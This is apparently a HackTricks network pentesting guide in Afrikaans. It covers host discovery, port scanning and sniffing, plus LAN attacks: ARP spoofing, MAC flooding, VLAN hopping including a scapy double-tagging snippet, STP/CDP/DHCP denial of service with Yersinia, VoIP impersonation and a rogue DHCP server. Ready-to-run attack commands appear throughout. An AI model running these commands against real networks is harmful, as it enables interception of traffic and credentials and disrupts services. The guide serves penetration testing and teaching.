Pentesting Network
Reading time: 41 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Ontdek hosts van buite
Dit gaan 'n kort afdeling wees oor hoe om IP's wat antwoordgee van die Internet te vind.
In hierdie situasie het jy 'n omvang van IP's (miskien selfs verskeie reekse) en jy moet net vind watter IP's antwoordgee.
ICMP
Dit is die gemaklikste en vinnigste manier om te ontdek of 'n host aan is of nie.
Jy kan probeer om 'n paar ICMP pakkette te stuur en antwoorde te verwag. Die maklikste manier is om net 'n echo request te stuur en van die antwoord te verwag. Jy kan dit doen met 'n eenvoudige ping
of met fping
vir reekse.
Jy kan ook nmap gebruik om ander tipes ICMP pakkette te stuur (dit sal filters vir algemene ICMP echo request-response vermy).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Port Ontdekking
Dit is baie algemeen om te vind dat alle soorte ICMP-pakkette gefilter word. Dan is al wat jy kan doen om te kyk of 'n gasheer aan is, om te probeer om oop poorte te vind. Elke gasheer het 65535 poorte, so, as jy 'n "groot" omvang het, kan jy nie toets of elke poort van elke gasheer oop is of nie, dit sal te veel tyd neem.
Dan, wat jy nodig het, is 'n vinnige poortscanner (masscan) en 'n lys van die meest gebruikte poorte:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
U kan ook hierdie stap met nmap
uitvoer, maar dit is stadiger en nmap
het probleme om hosts op te spoor.
HTTP Port Discovery
Dit is net 'n TCP-poortontdekking wat nuttig is wanneer u wil fokus op die ontdekking van HTTP dienste:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Port Ontdekking
Jy kan ook probeer om te kyk vir 'n paar UDP poorte wat oop is om te besluit of jy meer aandag aan 'n gasheer moet gee. Aangesien UDP dienste gewoonlik nie antwoordgee met enige data op 'n gewone leë UDP proefpakket, is dit moeilik om te sê of 'n poort gefilter of oop is. Die maklikste manier om dit te besluit, is om 'n pakket te stuur wat verband hou met die lopende diens, en aangesien jy nie weet watter diens aan die gang is nie, moet jy die mees waarskynlike probeer op grond van die poortnommer:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
Die nmap lyn wat voorheen voorgestel is, sal die top 1000 UDP poorte in elke gasheer binne die /24 reeks toets, maar selfs dit sal >20min neem. As jy vinnige resultate nodig het, kan jy udp-proto-scanner gebruik: ./udp-proto-scanner.pl 199.66.11.53/24
Dit sal hierdie UDP probes na hul verwachte poort stuur (vir 'n /24 reeks sal dit net 1 min neem): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP Poort Ontdekking
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
Hier kan jy 'n lekker gids vind van al die bekende Wifi-aanvalle ten tyde van die skryf:
Ontdekking van gasheer vanaf binne
As jy binne die netwerk is, is een van die eerste dinge wat jy wil doen om ander gasheer te ontdek. Afhangende van hoeveel geraas jy kan/wil maak, kan verskillende aksies uitgevoer word:
Passief
Jy kan hierdie gereedskap gebruik om passief gasheer binne 'n gekonnekteerde netwerk te ontdek:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Aktief
Let daarop dat die tegnieke wat in Ontdekking van gasheer vanaf die buitekant (TCP/HTTP/UDP/SCTP Poort Ontdekking) kommentaar gelewer is, ook hier toegepas kan word.
Maar, aangesien jy in die selfde netwerk as die ander gashere is, kan jy meer dinge doen:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Aktiewe ICMP
Let daarop dat die tegnieke wat in Ontdek hosts van buite (ICMP) genoem word, ook hier toegepas kan word.
Maar, aangesien jy in die dieselfde netwerk as die ander hosts is, kan jy meer dinge doen:
- As jy 'n subnet broadcast address ping, moet die ping by elke host aankom en hulle kan aan jou antwoordgee:
ping -b 10.10.5.255
- Deur die network broadcast address te ping, kan jy selfs hosts binne ander subnets vind:
ping -b 255.255.255.255
- Gebruik die
-PE
,-PP
,-PM
vlae vannmap
om host ontdekking uit te voer deur onderskeidelik ICMPv4 echo, timestamp, en subnet mask requests te stuur:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan word gebruik om rekenaars aan te skakel deur 'n netwerk boodskap. Die magiese pakket wat gebruik word om die rekenaar aan te skakel, is net 'n pakket waar 'n MAC Dst verskaf word en dan word dit 16 keer herhaal binne dieselfde pakket.
Hierdie tipe pakkette word gewoonlik in 'n ethernet 0x0842 of in 'n UDP-pakket na poort 9 gestuur.
As geen [MAC] verskaf word nie, word die pakket na broadcast ethernet gestuur (en die broadcast MAC sal die een wees wat herhaal word).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Scanning Hosts
Sodra jy al die IP's (eksterne of interne) ontdek het wat jy in diepte wil skandeer, kan verskillende aksies uitgevoer word.
TCP
- Oop poort: SYN --> SYN/ACK --> RST
- Geslote poort: SYN --> RST/ACK
- Gefiltreerde poort: SYN --> [GEEN ANTWOORD]
- Gefiltreerde poort: SYN --> ICMP boodskap
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Daar is 2 opsies om 'n UDP-poort te skandeer:
- Stuur 'n UDP-pakket en kyk vir die reaksie ICMP onbereikbaar as die poort gesluit is (in verskeie gevalle sal ICMP gefilter word, so jy sal nie enige inligting ontvang of die poort gesluit of oop is nie).
- Stuur geformateerde datagrams om 'n reaksie van 'n diens uit te lok (bv., DNS, DHCP, TFTP, en ander, soos gelys in nmap-payloads). As jy 'n reaksie ontvang, dan is die poort oop.
Nmap sal albei opsies meng met "-sV" (UDP-skanderings is baie stadig), maar let daarop dat UDP-skanderings stadiger is as TCP-skanderings:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Scan
SCTP (Stream Control Transmission Protocol) is ontwerp om saam met TCP (Transmission Control Protocol) en UDP (User Datagram Protocol) gebruik te word. Die hoofdoel is om die vervoer van telekommunikasiedata oor IP-netwerke te fasiliteer, wat baie van die betroubaarheidskenmerke wat in Signaling System 7 (SS7) voorkom, naboots. SCTP is 'n kernkomponent van die SIGTRAN protokol familie, wat daarop gemik is om SS7 seine oor IP-netwerke te vervoer.
Die ondersteuning vir SCTP word verskaf deur verskeie bedryfstelsels, soos IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, en VxWorks, wat die breë aanvaarding en nut daarvan in die veld van telekommunikasie en netwerke aandui.
Twee verskillende skande vir SCTP word deur nmap aangebied: -sY en -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS en IPS ontwyking
Meer nmap opsies
Ontbloot Interne IP Adresse
Sleg geconfigureerde routers, vuurmure, en netwerk toestelle antwoord soms op netwerk ondersoeke met nie-openbare bron adresse. tcpdump kan gebruik word om pakkette te identifiseer wat van private adresse ontvang is tydens toetsing. Spesifiek, op Kali Linux, kan pakkette op die eth2 koppelvlak gevang word, wat vanaf die openbare Internet toeganklik is. Dit is belangrik om te noem dat as jou opstelling agter 'n NAT of 'n Vuurmuur is, sulke pakkette waarskynlik gefiltreer sal word.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
Sniffing kan jy besonderhede van IP-reekse, subnetgroottes, MAC-adresse, en gasheername leer deur gevangenemekte rame en pakkette te hersien. As die netwerk verkeerd geconfigureer is of die skakelstof onder druk is, kan aanvallers sensitiewe materiaal vang deur passiewe netwerk sniffing.
As 'n geswitchte Ethernet-netwerk behoorlik geconfigureer is, sal jy slegs uitsendingsrame en materiaal wat bestem is vir jou MAC-adres sien.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
Mens kan ook pakkette van 'n afstandmasjien oor 'n SSH-sessie met Wireshark as die GUI in werklike tyd vang.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Duidelik.
Capturing credentials
Jy kan gereedskap soos https://github.com/lgandx/PCredz gebruik om kredensiale uit 'n pcap of 'n lewende koppelvlak te ontleed.
LAN-aanvalle
ARP spoofing
ARP Spoofing bestaan uit die stuur van gratis ARP Responses om aan te dui dat die IP van 'n masjien die MAC van ons toestel het. Dan sal die slagoffer die ARP-tabel verander en ons masjien kontak elke keer as dit die IP wat gespoof is, wil kontak.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM oorgang
Oorgang die skakelaar se CAM tabel deur 'n groot aantal pakkette met verskillende bron MAC adresse te stuur. Wanneer die CAM tabel vol is, begin die skakelaar soos 'n hub te werk (wat al die verkeer uitsaai).
macof -i <interface>
In moderne skakels is hierdie kwesbaarheid reggestel.
802.1Q VLAN / DTP Aanvalle
Dinamiese Trunking
Die Dinamiese Trunking Protokol (DTP) is ontwerp as 'n skakelvlakprotokol om 'n outomatiese stelsel vir trunking te fasiliteer, wat skakels in staat stel om outomaties poorte vir trunkmodus (Trunk) of nie-trunkmodus te kies. Die implementering van DTP word dikwels gesien as 'n aanduiding van suboptimale netwerkontwerp, wat die belangrikheid van handmatige konfigurasie van trunks slegs waar nodig beklemtoon en verseker dat behoorlike dokumentasie bestaan.
Standaard is skakelpoorte ingestel om in Dinamiese Auto-modus te werk, wat beteken dat hulle gereed is om trunking te begin indien 'n naburige skakel dit vra. 'n Sekuriteitskwessie ontstaan wanneer 'n pentester of aanvaller aan die skakel koppel en 'n DTP Desirable-raam stuur, wat die poort dwing om in trunkmodus te gaan. Hierdie aksie stel die aanvaller in staat om VLANs te tel deur STP-raamanalise en om VLAN-segmentasie te omseil deur virtuele interfaces op te stel.
Die teenwoordigheid van DTP in baie skakels standaard kan deur teenstanders uitgebuit word om 'n skakel se gedrag na te boots, en sodoende toegang tot verkeer oor alle VLANs te verkry. Die skrip dtpscan.sh word gebruik om 'n interface te monitor, wat onthul of 'n skakel in Standaard, Trunk, Dinamies, Auto, of Toegang-modus is—laasgenoemde is die enigste konfigurasie wat immuun is teen VLAN-hopping-aanvalle. Hierdie hulpmiddel evalueer die kwesbaarheidstatus van die skakel.
As netwerk kwesbaarheid geïdentifiseer word, kan die Yersinia hulpmiddel gebruik word om "trunking te aktiveer" via die DTP-protokol, wat waarneming van pakkette van alle VLANs moontlik maak.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
Om die VLANs te tel, is dit ook moontlik om die DTP Desirable-raam te genereer met die skrif DTPHijacking.py**. Moet die skrif onder geen omstandighede onderbreek nie. Dit inspuit DTP Desirable elke drie sekondes. Die dinamies geskepte trunk-kanale op die skakelaar leef net vir vyf minute. Na vyf minute val die trunk af.
sudo python3 DTPHijacking.py --interface eth0
Ek wil daarop wys dat Access/Desirable (0x03) aandui dat die DTP-raam van die Desirable-tipe is, wat die poort vertel om na Trunk-modus te skakel. En 802.1Q/802.1Q (0xa5) dui die 802.1Q inkapselingstipe aan.
Deur die STP-raam te analiseer, leer ons oor die bestaan van VLAN 30 en VLAN 60.
Aanval op spesifieke VLANs
Sodra jy VLAN-ID's en IP-waardes ken, kan jy 'n virtuele koppelvlak konfigureer om 'n spesifieke VLAN aan te val.
As DHCP nie beskikbaar is nie, gebruik dan ifconfig om 'n statiese IP-adres in te stel.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Automatiese VLAN Hopper
Die bespreekte aanval van Dinamiese Trunking en die skep van virtuele interfaces en die ontdekking van gaste binne ander VLANs word outomaties uitgevoer deur die hulpmiddel: https://github.com/nccgroup/vlan-hopping---frogger
Dubbele Etiket
As 'n aanvaller die waarde van die MAC, IP en VLAN ID van die slagoffer gas ken, kan hy probeer om 'n dubbele etiket op 'n raam te plaas met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakket te stuur. Aangesien die slagoffer nie in staat sal wees om terug te verbind met die aanvaller nie, is die beste opsie vir die aanvaller om via UDP te kommunikeer met protokolle wat interessante aksies kan uitvoer (soos SNMP).
'n Ander opsie vir die aanvaller is om 'n TCP-poortskandering te begin wat 'n IP naboots wat deur die aanvaller beheer word en deur die slagoffer toeganklik is (waarskynlik deur die internet). Dan kan die aanvaller snuffel in die tweede gas wat hy besit as dit 'n paar pakkette van die slagoffer ontvang.
Om hierdie aanval uit te voer, kan jy scapy gebruik: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
As jy toegang het tot 'n skakelaar waaraan jy direk gekoppel is, het jy die vermoë om VLAN-segmentering binne die netwerk te omseil. Skakel eenvoudig die poort na trunk-modus (ook bekend as trunk), skep virtuele interfaces met die ID's van die teiken VLAN's, en konfigureer 'n IP-adres. Jy kan probeer om die adres dinamies aan te vra (DHCP) of jy kan dit staties konfigureer. Dit hang af van die geval.
Lateral VLAN Segmentation Bypass
Layer 3 Private VLAN Bypass
In sekere omgewings, soos gaste draadlose netwerke, word poort-isolasie (ook bekend as private VLAN) instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isolasiemaatreëls kan omseil. Hierdie tegniek benut óf die gebrek aan netwerk ACL's óf hul onvanpaste konfigurasie, wat IP-pakkette in staat stel om deur 'n router na 'n ander kliënt op dieselfde netwerk gerouteer te word.
Die aanval word uitgevoer deur 'n pakket te skep wat die IP-adres van die bestemmingskliënt dra, maar met die router se MAC-adres. Dit veroorsaak dat die router die pakket verkeerdelik na die teiken kliënt stuur. Hierdie benadering is soortgelyk aan dié wat in Double Tagging Attacks gebruik word, waar die vermoë om 'n gasheer wat vir die slagoffer toeganklik is, te beheer, gebruik word om die sekuriteitsfout te benut.
Belangrike Stappe van die Aanval:
- Skep 'n Pakket: 'n Pakket word spesiaal geskep om die teiken kliënt se IP-adres in te sluit, maar met die router se MAC-adres.
- Benut Router Gedrag: Die geskepte pakket word na die router gestuur, wat, as gevolg van die konfigurasie, die pakket na die teiken kliënt omlei, terwyl dit die isolasie wat deur private VLAN instellings verskaf word, omseil.
VTP Attacks
VTP (VLAN Trunking Protocol) sentraliseer VLAN-bestuur. Dit gebruik hersieningsnommers om die integriteit van die VLAN-databasis te handhaaf; enige wysiging verhoog hierdie nommer. Skakelaars neem konfigurasies met hoër hersieningsnommers aan, wat hul eie VLAN-databasisse opdateer.
VTP Domain Roles
- VTP Server: Bestuur VLAN's—skep, verwyder, wysig. Dit versprei VTP aankondigings na domeinlede.
- VTP Client: Ontvang VTP aankondigings om sy VLAN-databasis te sinkroniseer. Hierdie rol is beperk van plaaslike VLAN-konfigurasiewysigings.
- VTP Transparent: Neem nie deel aan VTP-opdaterings nie, maar stuur VTP aankondigings voort. Onbeïnvloed deur VTP-aanvalle, handhaaf dit 'n konstante hersieningsnommer van nul.
VTP Advertisement Types
- Summary Advertisement: Word elke 300 sekondes deur die VTP-server uitgesaai, wat essensiële domein-inligting dra.
- Subset Advertisement: Gestuur na VLAN-konfigurasiewysigings.
- Advertisement Request: Uitgereik deur 'n VTP-kliënt om 'n Summary Advertisement aan te vra, tipies in reaksie op die opsporing van 'n hoër konfigurasie hersieningsnommer.
VTP kwesbaarhede is slegs via trunk-poorte benutbaar, aangesien VTP-aankondigings slegs deur hulle sirkuleer. Na DTP-aanvalscenario's kan daar na VTP oorgeskakel word. Gereedskap soos Yersinia kan VTP-aanvalle fasiliteer, met die doel om die VLAN-databasis uit te wis, wat effektief die netwerk ontwrig.
Nota: Hierdie bespreking handel oor VTP weergawe 1 (VTPv1).
%% yersinia -G # Launch Yersinia in graphical mode ```
```
In Yersinia se grafiese modus, kies die opsie om alle VTP vlans te verwyder om die VLAN-databasis te verwyder.
### STP-aanvalle
**As jy nie BPDU-raamwerke op jou interfaces kan vang nie, is dit onwaarskynlik dat jy in 'n STP-aanval sal slaag.**
#### **STP BPDU DoS**
Deur 'n groot aantal BPDUs TCP (Topologie Verandering Kennisgewing) of Conf (die BPDUs wat gestuur word wanneer die topologie geskep word) te stuur, word die skakelaars oorlaai en stop hulle om korrek te werk.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
```
#### **STP TCP-aanval**
Wanneer 'n TCP gestuur word, sal die CAM-tafel van die skakelaars binne 15s verwyder word. Dan, as jy voortdurend hierdie soort pakkette stuur, sal die CAM-tafel voortdurend (of elke 15 sekondes) herbegin word en wanneer dit herbegin word, gedra die skakel soos 'n hub.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **STP Root Aanval**
Die aanvaller simuleer die gedrag van 'n skakelaar om die STP wortel van die netwerk te word. Dan sal meer data deur hom beweeg. Dit is interessant wanneer jy aan twee verskillende skakelaars gekoppel is.\
Dit word gedoen deur BPDUs CONF-pakkette te stuur wat sê dat die **prioriteit** waarde minder is as die werklike prioriteit van die werklike wortel skakelaar.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
```
**As die aanvaller aan 2 skakels gekoppel is, kan hy die wortel van die nuwe boom wees en al die verkeer tussen daardie skakels sal deur hom verbygaan** (n MITM-aanval sal uitgevoer word).
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
```
### CDP-aanvalle
CISCO Discovery Protocol (CDP) is noodsaaklik vir kommunikasie tussen CISCO-toestelle, wat hulle in staat stel om **mekaar te identifiseer en konfigurasiedetails te deel**.
#### Passiewe Data-insameling <a href="#id-0e0f" id="id-0e0f"></a>
CDP is geconfigureer om inligting deur alle poorte te broadcast, wat tot 'n sekuriteitsrisiko kan lei. 'n Aanvaller, wanneer hy aan 'n skakelpoort koppel, kan netwerk-sniffers soos **Wireshark**, **tcpdump**, of **Yersinia** ontplooi. Hierdie aksie kan sensitiewe data oor die netwerktoestel onthul, insluitend sy model en die weergawe van Cisco IOS wat dit gebruik. Die aanvaller kan dan spesifieke kwesbaarhede in die geïdentifiseerde Cisco IOS-weergawe teiken.
#### Indusering van CDP Tabelvloei <a href="#id-0d6a" id="id-0d6a"></a>
'n Meer aggressiewe benadering behels die ontplooiing van 'n Denial of Service (DoS) aanval deur die skakel se geheue te oorweldig, terwyl daar voorgegee word om wettige CISCO-toestelle te wees. Hieronder is die opdragreeks om so 'n aanval te begin met behulp van Yersinia, 'n netwerktool wat ontwerp is vir toetsing:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
```
Tydens hierdie aanval word die skakel se CPU en CDP buurtafel swaar belas, wat lei tot wat dikwels verwys word as **“netwerk paralise”** weens die oormatige hulpbronverbruik.
#### CDP Impersonation Attack
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
U kan ook [**scapy**](https://github.com/secdev/scapy/) gebruik. Maak seker dat u dit installeer met die `scapy/contrib` pakket.
### VoIP-aanvalle en die VoIP Hopper-instrument
VoIP-telefone, wat toenemend geïntegreer is met IoT-toestelle, bied funksies soos die ontsluiting van deure of die beheer van termostate deur middel van spesiale telefoonnommers. Hierdie integrasie kan egter sekuriteitsrisiko's inhou.
Die instrument [**voiphopper**](http://voiphopper.sourceforge.net) is ontwerp om 'n VoIP-foon in verskillende omgewings (Cisco, Avaya, Nortel, Alcatel-Lucent) na te boots. Dit ontdek die stemnetwerk se VLAN-ID deur gebruik te maak van protokolle soos CDP, DHCP, LLDP-MED, en 802.1Q ARP.
**VoIP Hopper** bied drie modi vir die Cisco Discovery Protocol (CDP):
1. **Sniff Mode** (`-c 0`): Analiseer netwerkpakkette om die VLAN-ID te identifiseer.
2. **Spoof Mode** (`-c 1`): Genereer pasgemaakte pakkette wat die van 'n werklike VoIP-toestel naboots.
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Stuur pakkette wat identies is aan dié van 'n spesifieke Cisco IP-foonmodel.
Die verkiesde modus vir spoed is die derde. Dit vereis dat u spesifiseer:
- Die aanvaller se netwerkinterfaan (`-i` parameter).
- Die naam van die VoIP-toestel wat nagebootst word (`-E` parameter), wat aan die Cisco naamgewingformaat moet voldoen (bv. SEP gevolg deur 'n MAC-adres).
In korporatiewe omgewings, om 'n bestaande VoIP-toestel na te boots, kan 'n mens:
- Die MAC-etiket op die foon inspekteer.
- Die foon se vertooninstellings navigeer om modelinligting te sien.
- Die VoIP-toestel aan 'n skootrekenaar koppel en CDP-versoeke met Wireshark observeer.
'n Voorbeeldopdrag om die instrument in die derde modus uit te voer, sou wees:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
```
### DHCP-aanvalle
#### Opname
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**Twee tipes DoS** kan teen DHCP-bedieners uitgevoer word. Die eerste een bestaan uit **simuleer genoeg vals gashere om al die moontlike IP-adresse te gebruik**.\
Hierdie aanval sal slegs werk as jy die antwoorde van die DHCP-bediener kan sien en die protokol kan voltooi (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Byvoorbeeld, dit is **nie moontlik in Wifi-netwerke** nie.
'n Ander manier om 'n DHCP DoS uit te voer, is om 'n **DHCP-RELEASE-pakket te stuur met elke moontlike IP as bronkode**. Dan sal die bediener dink dat almal klaar is om die IP te gebruik.
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">bash</span></div>
```bash
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
```
'n Meer outomatiese manier om dit te doen, is deur die hulpmiddel [DHCPing](https://github.com/kamorin/DHCPig) te gebruik.
Jy kan die genoemde DoS-aanvalle gebruik om kliënte te dwing om nuwe huurooreenkomste binne die omgewing te verkry, en om wettige bedieners uit te put sodat hulle onresponsief raak. So wanneer die wettige probeer om weer te verbind, **kan jy kwaadwillige waardes bedien wat in die volgende aanval genoem word**.
#### Stel kwaadwillige waardes in
'n Rogue DHCP-bediener kan opgestel word met behulp van die DHCP-skrip geleë by `/usr/share/responder/DHCP.py`. Dit is nuttig vir netwerkaanvalle, soos om HTTP-verkeer en geloofsbriewe te vang, deur verkeer na 'n kwaadwillige bediener te herlei. Dit is egter minder effektief om 'n rogue gateway op te stel, aangesien dit slegs toelaat om uitgaande verkeer van die kliënt te vang, terwyl die antwoorde van die werklike gateway gemis word. In plaas daarvan, word dit aanbeveel om 'n rogue DNS of WPAD-bediener op te stel vir 'n meer effektiewe aanval.
Hieronder is die opdragopsies vir die konfigurasie van die rogue DHCP-bediener:
- **Ons IP-adres (Gateway Advertensie)**: Gebruik `-i 10.0.0.100` om jou masjien se IP as die gateway te adverteer.
- **Plaaslike DNS Domeinnaam**: Opsioneel, gebruik `-d example.org` om 'n plaaslike DNS-domeinnaam in te stel.
- **Oorspronklike Router/Gateway IP**: Gebruik `-r 10.0.0.1` om die IP-adres van die wettige router of gateway spesifiek aan te dui.
- **Primêre DNS-bediener IP**: Gebruik `-p 10.0.0.100` om die IP-adres van die rogue DNS-bediener wat jy beheer, in te stel.
- **Sekondêre DNS-bediener IP**: Opsioneel, gebruik `-s 10.0.0.1` om 'n sekondêre DNS-bediener IP in te stel.
